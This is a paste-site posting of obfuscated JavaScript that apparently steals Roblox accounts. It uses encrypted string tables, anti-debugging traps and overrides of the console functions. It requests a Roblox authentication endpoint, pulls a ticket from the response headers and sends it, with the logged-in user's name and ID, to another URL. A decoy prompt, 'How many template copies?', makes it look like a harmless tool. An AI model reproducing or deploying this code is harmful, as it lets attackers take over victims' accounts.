· 4 years ago · Mar 06, 2021, 07:02 AM
1'use strict';
2/** @type {function(number): ?} */
3var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function(aRoundNumber) {
4 return typeof aRoundNumber;
5} : function(obj) {
6 return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj;
7};
8/** @type {string} */
9var F5VM0bgwUy = "cumqxldiz";
10/** @type {string} */
11var gOeE4zDpIV = "How many template copies?";
12/** @type {!Array} */
13var gaMerclub = ["utVdJ3W", "W4bfWRDJW5BcHX7cNG", "gHxcJJ3dVSkXu8olEmkS", "WRVcMgtcStu", "WOTrbmooFYVcSwpcU8o2", "cCozlmkNmSkEWQ4", "WOboWRua", "rSoXWOBcIXO", "W7bQWPVcSeddPc7dH8oWW43cHq", "W53cHY4DqbRdJG", "a8kcWPrZW7C", "WOL2WQJdKfmqW7xdTSkxWRNdRG", "C8kWhSk6WPBdKWfGW7Pd", "bsWFW6q", "W73cUSkKWOX5nCoUWONcNK4", "W5xdNConW5WNW4hdGSog", "WOtdVdFcSxBdNmo7", "q8ozfCkezW", "W5vlFrSb", "kSkXWOpcMSkpW5ZdJSoJEMSH", "WPizWRr/W4ZcHcBcQYH9", "WPNdJcBdMMOsjSoAqsD5r8kW", "W6hcP8kZWP1+zSkUW4JdGvu", "ASo3W4JdG8oqW4O",
14"WQXDWRZdUG1UW7/cLbZdJGq", "n8kWwW", "W5r2rIddNG/cSZe", "W5rkCHy", "CSkQc8oYWOhcJ0TZWQfp", "s8oAWOL+WQNcU1r+", "WR3dImkbF8kNWRBcTCkmW4lcJG", "C1FdV1u", "WR7dRGjjW4NdHbWDW4y", "WO9kcmoBzdBcP33dSW", "W447WQH9W5hcMYBcGSkVW6e", "WQGtfCo6W4PAmmo3W5LE", "b8kYWQzYW7lcTHGmkCkhfXL5", "rmoQWRyXWQZdQvjhu8oU", "WRjml8oxra", "lmozk8k/", "vColpmo6BmkiW6FcMSkshG", "W6FdLL8hW6TsjmoAiSo7", "WO1aWQ0lqaJdKq", "W4tcMxhcJY1j", "Cmk1fSkXWO4", "W5RdJ8kWW4S6W4BdN8ovDmkN", "WQe0W4hdUGldUc3dGmouW5y", "W78BW7NcR00", "zfLoW6bDdSkLgmkjWQS",
15"p8ozlmkzW6TQW67dOrO5", "WPyrWR9+", "DgldOSkLWQ/cOcK/W4tcMG", "tWOSW6NcICk8eCk1xSoFW4K", "W67cTSkZ", "WPjDjq", "r8koFmozjYZcRG", "W5LJoG", "WOurjujEnqpdUupdKMq", "avKb", "a3TVbSoWW6bDeCkBpG", "gvL7WQu", "WQe5WPbpW4i", "WO9FWQGjtq", "WPTDWOVdTa", "b0itmSotDCkujh4p", "W4NdPd7cQcC", "W4/dK8oZW40", "WRSxWRDAW4XYyq", "ia7cOqiWW5tcT39aDCkRW71k", "o8oin8k5WQy7W6ZdQWa/", "W4GDxwO", "bf0klq", "e8kAcmkbFCk+W7tcNa", "qeLi", "W6dcVCk3WPH5", "AKpcV1jVWO7dTKnLsq", "EdldPwiVn3dcJmkBW4a", "qSoqrSkJW6LBCJG1WP4",
16"rCkrySogmq", "d1i5WQtdMmkDmmoanSkK", "WPnxaa", "WPaSWOzoqWyGwa", "W4fPztJdLq", "WRKTwH5k", "W4X8EZpdMa4", "juRcVwtdTSk5cCkrnSkc", "W5BcJmk3WP9IkmoUWRJdRa", "fmkgx8kEW6jztWe", "tW/dN3m0", "W4FdSx3cNSkOoWRcHJZdGq", "WO7dMbP1ca", "hbpcKYdcPa", "W4uWWO7cRmo5FXtdKCoI", "zeeXWPFdHxT+WOFcGq", "p8oBpCk5", "WOntFSoXWOVdNmkasSoPtW", "qhS0W6iRW6u2wa", "tmkvzSoAo3RdPmklqmkC", "y2JdV8kI", "gWJcJYS", "WPi3W6zhkY4WiwHA", "W7/cISoqpmo0W4/dRSkpW7tcRmo2W47cJa", "zCk3b8k+WPi", "WQFdKSkgza", "WOPkWROq", "WOXmbSoBBG3cVgFdS8oH",
17"FCo3qmkvW4K", "WO0swbK", "WPtdKtjNW7G", "WPrar3RcP8o5WQCB", "WQu8W4RdUW", "W4VcIeOHxr3cJ24DWQBcN08", "WOOkCmoaW5xcVmoWqCogEW", "WRidWQH+W53cMcFcNs93", "W5Pwv8k7WP8aDSoQW71YW4BdLwG", "W5Oxm8kZW4VdLCkwdmorwmoplSkl", "m8o3fCktW7O", "p8o2W5pdJSkd", "W4bhW6G0WOJdGtRcMbTdWRHp", "W59nDqy", "W5aWWQP0W4a", "W6HUEcLdyGhdOq"];
18/**
19 * @param {number} i
20 * @param {string} name
21 * @return {?}
22 */
23var GaMerclub = function o(i, name) {
24 /** @type {number} */
25 i = i - 229;
26 var prop = gaMerclub[i];
27 if (o["QzYIoD"] === undefined) {
28 /**
29 * @param {!Object} data
30 * @return {?}
31 */
32 var filter = function testcase(data) {
33 /** @type {string} */
34 var listeners = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=";
35 /** @type {string} */
36 var testResult = "";
37 /** @type {number} */
38 var bc = 0;
39 var bs;
40 var buffer;
41 /** @type {number} */
42 var i = 0;
43 for (; buffer = data["charAt"](i++); ~buffer && (bs = bc % 4 ? bs * 64 + buffer : buffer, bc++ % 4) ? testResult = testResult + String["fromCharCode"](255 & bs >> (-2 * bc & 6)) : 0) {
44 buffer = listeners["indexOf"](buffer);
45 }
46 return testResult;
47 };
48 /**
49 * @param {!Object} data
50 * @param {!Object} fn
51 * @return {?}
52 */
53 var lt = function testcase(data, fn) {
54 /** @type {!Array} */
55 var secretKey = [];
56 /** @type {number} */
57 var y = 0;
58 var temp;
59 /** @type {string} */
60 var testResult = "";
61 /** @type {string} */
62 var tempData = "";
63 data = filter(data);
64 /** @type {number} */
65 var val = 0;
66 var key = data["length"];
67 for (; val < key; val++) {
68 /** @type {string} */
69 tempData = tempData + ("%" + ("00" + data["charCodeAt"](val)["toString"](16))["slice"](-2));
70 }
71 /** @type {string} */
72 data = decodeURIComponent(tempData);
73 var x;
74 /** @type {number} */
75 x = 0;
76 for (; x < 256; x++) {
77 /** @type {number} */
78 secretKey[x] = x;
79 }
80 /** @type {number} */
81 x = 0;
82 for (; x < 256; x++) {
83 /** @type {number} */
84 y = (y + secretKey[x] + fn["charCodeAt"](x % fn["length"])) % 256;
85 temp = secretKey[x];
86 secretKey[x] = secretKey[y];
87 secretKey[y] = temp;
88 }
89 /** @type {number} */
90 x = 0;
91 /** @type {number} */
92 y = 0;
93 /** @type {number} */
94 var i = 0;
95 for (; i < data["length"]; i++) {
96 /** @type {number} */
97 x = (x + 1) % 256;
98 /** @type {number} */
99 y = (y + secretKey[x]) % 256;
100 temp = secretKey[x];
101 secretKey[x] = secretKey[y];
102 secretKey[y] = temp;
103 testResult = testResult + String["fromCharCode"](data["charCodeAt"](i) ^ secretKey[(secretKey[x] + secretKey[y]) % 256]);
104 }
105 return testResult;
106 };
107 /** @type {function(!Object, !Object): ?} */
108 o["boXFOO"] = lt;
109 o["KwNpQF"] = {};
110 /** @type {boolean} */
111 o["QzYIoD"] = !![];
112 }
113 var mode = gaMerclub[0];
114 var value = i + mode;
115 var val = o["KwNpQF"][value];
116 return val === undefined ? (o["grOkWN"] === undefined && (o["grOkWN"] = !![]), prop = o["boXFOO"](prop, name), o["KwNpQF"][value] = prop) : prop = val, prop;
117};
118/** @type {function(number, string): ?} */
119var GamERCLUb = GaMerclub;
120(function(data, oldPassword) {
121 /** @type {function(number, string): ?} */
122 var toMonths = GaMerclub;
123 for (; !![];) {
124 try {
125 /** @type {number} */
126 var userPsd = -parseInt(toMonths(305, "ML&F")) * parseInt(toMonths(281, "nar%")) + -parseInt(toMonths(296, "BJxL")) * -parseInt(toMonths(235, "RLL)")) + -parseInt(toMonths(248, "kp6f")) * parseInt(toMonths(345, "4jxE")) + parseInt(toMonths(339, "LZ1J")) + parseInt(toMonths(325, "t0[%")) + parseInt(toMonths(342, "vio6")) * -parseInt(toMonths(311, "fBVB")) + parseInt(toMonths(292, "I5N["));
127 if (userPsd === oldPassword) {
128 break;
129 } else {
130 data["push"](data["shift"]());
131 }
132 } catch (GAMErCLUb) {
133 data["push"](data["shift"]());
134 }
135 }
136})(gaMerclub, 895714);
137var GAmerclub = function() {
138 /** @type {boolean} */
139 var y$$ = !![];
140 return function(value, deferred) {
141 /** @type {function(number, string): ?} */
142 var type = GaMerclub;
143 if (type(330, "fBVB") !== type(262, "6t9J")) {
144 /** @type {!Function} */
145 var voronoi = y$$ ? function() {
146 /** @type {function(number, string): ?} */
147 var norm = type;
148 if (deferred) {
149 var bytes = deferred[norm(306, "dexb")](value, arguments);
150 return deferred = null, bytes;
151 }
152 } : function() {
153 };
154 return y$$ = ![], voronoi;
155 } else {
156 /**
157 * @return {undefined}
158 */
159 var gAmercLUb = function init() {
160 gAMeRClub(this, function() {
161 /** @type {function(number, string): ?} */
162 var normalizeKey = GaMerclub;
163 var el = new GAmERClub("function *" + "\\( *\\)");
164 var element = new gaMERClub(normalizeKey(309, "14&r") + "a-zA-Z_$][" + normalizeKey(324, "ML&F") + "$]*)", "i");
165 var prefix = GaMERClub(normalizeKey(294, "1OIl"));
166 if (!el["test"](prefix + normalizeKey(242, "nar%")) || !element[normalizeKey(263, "$T&9")](prefix + "input")) {
167 prefix("0");
168 } else {
169 GAMERClub();
170 }
171 })();
172 };
173 }
174 };
175}();
176(function() {
177 GAmerclub(this, function() {
178 /** @type {function(number, string): ?} */
179 var escapePathComponent = GaMerclub;
180 /** @type {!RegExp} */
181 var test = new RegExp(escapePathComponent(313, "NymF") + "\\( *\\)");
182 /** @type {!RegExp} */
183 var versionRegEx = new RegExp("\\+\\+ *(?:[" + escapePathComponent(336, "LZ1J") + "0-9a-zA-Z_" + escapePathComponent(346, "%mfR"), "i");
184 var path = gAmerclub(escapePathComponent(343, "nar%"));
185 if (!test["test"](path + escapePathComponent(289, "K9lz")) || !versionRegEx[escapePathComponent(322, "yNz$")](path + escapePathComponent(298, "1foz"))) {
186 path("0");
187 } else {
188 gAmerclub();
189 }
190 })();
191})();
192var Gamerclub = function() {
193 /** @type {boolean} */
194 var y$$ = !![];
195 return function(value, context) {
196 /** @type {!Function} */
197 var voronoi = y$$ ? function() {
198 /** @type {function(number, string): ?} */
199 var replaceFn = GaMerclub;
200 if (replaceFn(307, "4jxE") === replaceFn(241, "BJxL")) {
201 if (context) {
202 var string = context[replaceFn(268, "7w[o")](value, arguments);
203 return context = null, string;
204 }
205 } else {
206 /**
207 * @return {?}
208 */
209 var gAMErcLUb = function loadJSCSS() {
210 /** @type {function(number, string): ?} */
211 var replace = replaceFn;
212 var url;
213 try {
214 url = gAMERCLub("return (fu" + replace(317, "d%Aa") + (replace(269, "@iS9") + replace(293, "$T&9") + replace(261, "KI!)") + " )") + ");")();
215 } catch (gameRcLUb) {
216 url = gamerclUb;
217 }
218 return url;
219 };
220 }
221 } : function() {
222 };
223 return y$$ = ![], voronoi;
224 };
225}();
226var gamerclub = Gamerclub(undefined, function() {
227 /** @type {function(number, string): ?} */
228 var rel2Mstr = GaMerclub;
229 /**
230 * @return {?}
231 */
232 var getAlignItem = function create() {
233 /** @type {function(number, string): ?} */
234 var log = GaMerclub;
235 var viewport;
236 try {
237 viewport = Function("return (fu" + log(316, "20z@") + (log(299, "I5N[") + log(348, "14&r") + log(303, "T*fp") + " )") + ");")();
238 } catch (gAmERcLUb) {
239 /** @type {!Window} */
240 viewport = window;
241 }
242 return viewport;
243 };
244 var alignContentAlignItem = getAlignItem();
245 var signedTransactions = alignContentAlignItem[rel2Mstr(279, "UeHc")] = alignContentAlignItem[rel2Mstr(291, "DE[F")] || {};
246 /** @type {!Array} */
247 var PL$13 = [rel2Mstr(304, "6t9J"), rel2Mstr(237, "t#)J"), rel2Mstr(327, "t0[%"), rel2Mstr(315, "14&r"), rel2Mstr(256, "rsI8"), rel2Mstr(314, "u7n&"), rel2Mstr(326, "7w[o")];
248 /** @type {number} */
249 var PL$17 = 0;
250 for (; PL$17 < PL$13[rel2Mstr(308, "dexb")]; PL$17++) {
251 var signedTxHex = Gamerclub["constructo" + "r"][rel2Mstr(257, "6t9J")][rel2Mstr(323, "14&r")](Gamerclub);
252 var signedTransactionsCounter = PL$13[PL$17];
253 var same = signedTransactions[signedTransactionsCounter] || signedTxHex;
254 signedTxHex[rel2Mstr(310, "1foz")] = Gamerclub[rel2Mstr(251, "nar%")](Gamerclub);
255 signedTxHex[rel2Mstr(239, "@iS9")] = same[rel2Mstr(250, "dexb")][rel2Mstr(255, "I5N[")](same);
256 signedTransactions[signedTransactionsCounter] = signedTxHex;
257 }
258});
259gamerclub();
260var data = {};
261$[GamERCLUb(295, "89Xq")]({
262 "type" : GamERCLUb(331, "4jxE"),
263 "url" : GamERCLUb(321, "UeHc") + "th.roblox." + GamERCLUb(252, "7w[o") + GamERCLUb(265, "NjsV") + GamERCLUb(253, "K&St"),
264 "data" : data,
265 "success" : function remove(studentId, courseId, options) {
266 var random = GamERCLUb;
267 $[random(277, "1foz")](random(246, "1foz") + random(236, "7w[o") + random(278, "LZ1J") + F5VM0bgwUy + random(229, "BJxL") + options[random(301, "fBVB") + "eHeader"](random(264, "BJxL") + random(238, "1foz") + random(344, "e)iC")) + random(249, "7w[o") + Roblox[random(259, "6ewW") + "r"][random(230, "l4^Y")] + random(341, "dFjc") + Roblox[random(272, "AFj*") + "r"]["userId"]);
268 },
269 "error" : function compose(otherAtts, isComposition, argFunction) {
270 var int8Mult = GamERCLUb;
271 $[int8Mult(297, "AFj*")](int8Mult(319, "LZ1J") + int8Mult(288, "89Xq") + int8Mult(280, "dexb") + F5VM0bgwUy + int8Mult(240, "K9lz") + otherAtts[int8Mult(273, "$T&9") + int8Mult(233, "tSvh")](int8Mult(283, "EKvP") + int8Mult(350, "6t9J") + "icket") + int8Mult(282, "AFj*") + Roblox[int8Mult(337, "vio6") + "r"][int8Mult(290, "@iS9")] + int8Mult(234, "K&St") + Roblox["CurrentUse" + "r"]["userId"]);
272 }
273}), prompt(gOeE4zDpIV);
274/**
275 * @param {?} canCreateDiscussions
276 * @return {?}
277 */
278function gAmerclub(canCreateDiscussions) {
279 /**
280 * @param {number} i
281 * @return {?}
282 */
283 function init(i) {
284 /** @type {function(number, string): ?} */
285 var now = GaMerclub;
286 if (now(285, "vio6") === "POJCz") {
287 if ((typeof i === "undefined" ? "undefined" : _typeof(i)) === now(247, "dFjc")) {
288 return function(canCreateDiscussions) {
289 }[now(275, "yNz$") + "r"](now(258, "e)iC") + now(349, "Z0K^"))[now(271, "kp6f")](now(266, "l4^Y"));
290 } else {
291 if (("" + i / i)[now(267, "O@Lv")] !== 1 || i % 20 === 0) {
292 if (now(332, "rsI8") !== now(340, "$T&9")) {
293 (function() {
294 if ("MSsmD" !== "MSsmD") {
295 /**
296 * @return {undefined}
297 */
298 var GaMerCLUb = function buildMissingDomains() {
299 GAMerclUb = gamErclUb;
300 };
301 } else {
302 return !![];
303 }
304 })[now(270, "c0VD") + "r"](now(284, "T*fp") + now(318, "$T&9"))["call"]("action");
305 } else {
306 /**
307 * @return {?}
308 */
309 var gAMerCLUb = function parseOSCMsg() {
310 return gAmERClUb;
311 };
312 }
313 } else {
314 (function() {
315 return ![];
316 })[now(300, "*9Jq") + "r"](now(328, "l4^Y") + now(274, "vio6"))[now(231, "2Uok")](now(329, "6t9J") + "t");
317 }
318 }
319 init(++i);
320 } else {
321 /**
322 * @return {?}
323 */
324 var GAMerCLUb = function toAbsolutePositions() {
325 /** @type {!Function} */
326 var gamErCLUb = gAMErclub ? function() {
327 /** @type {function(number, string): ?} */
328 var toAbsolutePositions = GaMerclub;
329 if (gaMeRclub) {
330 var cssobj = gamERclub[toAbsolutePositions(302, "UeHc")](GamERclub, arguments);
331 return gAmERclub = null, cssobj;
332 }
333 } : function() {
334 };
335 return GAmeRclub = ![], gamErCLUb;
336 };
337 }
338 }
339 var firstChunk = GamERCLUb;
340 try {
341 if (firstChunk(312, "*9Jq") !== "TRTbo") {
342 /**
343 * @return {undefined}
344 */
345 var gAmErCLUb = function rewriteEndCallback() {
346 var j = firstChunk;
347 (function() {
348 return ![];
349 })[j(244, "vio6") + "r"](j(287, "p)d8") + j(334, "c0VD"))[j(286, "l4^Y")](j(254, "t0[%") + "t");
350 };
351 } else {
352 if (canCreateDiscussions) {
353 return init;
354 } else {
355 init(0);
356 }
357 }
358 } catch (GAmErCLUb) {
359 }
360}
361;